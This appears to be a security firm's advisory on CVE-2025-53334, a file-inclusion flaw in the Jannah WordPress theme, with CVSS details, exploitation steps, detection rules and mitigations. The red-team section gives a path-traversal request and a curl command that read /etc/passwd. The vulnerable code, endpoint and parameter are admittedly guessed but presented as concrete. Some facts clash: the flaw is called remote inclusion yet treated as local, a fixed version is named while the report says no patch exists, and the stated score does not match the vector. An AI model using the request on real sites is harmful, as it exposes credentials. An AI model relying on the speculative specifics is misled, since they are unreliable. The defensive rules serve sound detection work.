CVE-2025-53334

Executive Summary

CVE-2025-53334 is a critical vulnerability in the TieLabs Jannah WordPress theme, affecting versions prior to 7.5.1. The flaw is an Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion'), which allows an attacker to perform PHP Local File Inclusion (LFI). This vulnerability can lead to unauthorized reading of sensitive files on the server, such as configuration files containing database credentials, potentially leading to full site compromise. The CVSS score of 8.1 (High) reflects the ease of exploitation (no authentication required) and the high impact on confidentiality. As of this report, no official patch has been confirmed, and no public exploit code is available, but the risk remains significant for unpatched installations.

Supply Chain & Package Security

This vulnerability affects the WordPress ecosystem via the Jannah theme. Since WordPress themes are distributed through marketplaces and direct downloads, the supply chain risk is elevated. Users who obtained the theme from unofficial sources may be at higher risk. The lack of a patch from the vendor (TieLabs) means that site administrators must rely on manual mitigation or alternative security controls.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 8.1 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Sensitive files can be read.
• Integrity Impact: None (I:N) – No file modification is possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can lead to full disclosure of sensitive server data.

Deep Dive & Mechanics

The vulnerability resides in the Jannah theme's PHP code, where user-supplied input is used to construct a file path for an include() or require() statement without proper sanitization. This allows an attacker to manipulate the path to include arbitrary local files.

Root Cause: The theme likely uses a parameter (e.g., ?template=...) to load template files. If the parameter is not validated against a whitelist of allowed files, an attacker can supply a path like ../../../../etc/passwd to read system files.

Attack Vector: The attacker sends a crafted HTTP request to the WordPress site, targeting a vulnerable endpoint in the Jannah theme. The request includes a path traversal sequence in a parameter that is passed to an include() function.

Impact: Successful exploitation allows the attacker to read any file on the server that the web server user has access to, including:

• /etc/passwd (user enumeration)
• /etc/shadow (password hashes, if readable)
• WordPress wp-config.php (database credentials)
• .env files (API keys, secrets)

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common LFI vulnerabilities.

Vulnerable Code (Jannah < 7.5.1):

<?php
$template = $_GET['template'];
include( get_template_directory() . '/templates/' . $template . '.php' );
?>

Patched Code (Hypothetical):

<?php
$allowed_templates = array('default', 'full-width', 'sidebar');
$template = $_GET['template'];
if (in_array($template, $allowed_templates)) {
    include( get_template_directory() . '/templates/' . $template . '.php' );
} else {
    // Handle error
}
?>

The patched version uses a whitelist to restrict which files can be included, preventing path traversal.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site running Jannah theme version < 7.5.1.
• Knowledge of a vulnerable endpoint (e.g., /wp-content/themes/jannah/template-loader.php).

Exploit Steps:

1. Identify the vulnerable parameter (e.g., template).
2. Craft a request to read /etc/passwd:

   GET /wp-content/themes/jannah/template-loader.php?template=../../../../../../etc/passwd HTTP/1.1
   Host: target.com
   

3. If successful, the response will contain the contents of /etc/passwd.

Example using cURL:

curl -v "http://target.com/wp-content/themes/jannah/template-loader.php?template=../../../../../../etc/passwd"

Note: No public exploit code is available at this time.

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests containing ../ or ..%2f in query parameters.
• Look for requests to Jannah theme files with unusual parameters.

Defense:

• Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
• Disable PHP allow_url_include and allow_url_fopen if not needed.
• Apply the principle of least privilege to the web server user.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing ../ or ..%2f in the query string targeting Jannah theme files.
  • Unusual file reads (e.g., /etc/passwd, /etc/shadow, wp-config.php).
• File System IOCs:
  • Unexpected files in the web root (e.g., shell.php).
  • Modified .htaccess files.
• Log IOCs:
  • Web server logs showing 200 responses to LFI attempts.
  • PHP error logs indicating failed includes.

Detection Engineering

YARA Rule

rule CVE_2025_53334_Jannah_LFI {
    meta:
        description = "Detects attempts to exploit CVE-2025-53334 in Jannah theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53334"
    strings:
        $path_traversal = /\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c/
        $jannah_param = /template=|load=|file=/
    condition:
        any of ($path_traversal) and any of ($jannah_param)
}

Sigma Rule

title: CVE-2025-53334 Jannah Theme LFI Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit LFI in Jannah theme
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - '..'
            - '%2e%2e'
            - 'template='
            - 'load='
    condition: selection
falsepositives:
    - Legitimate use of path traversal in other applications
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-53334 Jannah Theme LFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/wp-content/themes/jannah/"; http_uri; pcre:"/(\.\.\/|%2e%2e%2f)/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the theme: If a patched version (>= 7.5.1) becomes available, update immediately.
2. Disable the theme: Temporarily switch to a different theme if no patch is available.
3. Apply WAF rules: Block requests containing path traversal sequences.

Long-term Mitigation:

• Implement input validation and whitelisting for all file inclusion parameters.
• Use a security plugin (e.g., Wordfence) to monitor for LFI attempts.
• Regularly audit WordPress themes and plugins for vulnerabilities.

Workaround:

• If the vulnerable endpoint is known, add a rewrite rule in .htaccess to block suspicious requests:

  RewriteEngine On
  RewriteCond %{QUERY_STRING} (\.\.|%2e%2e) [NC]
  RewriteRule ^wp-content/themes/jannah/ - [F,L]
  

Valters IT
Securing Digital Frontiers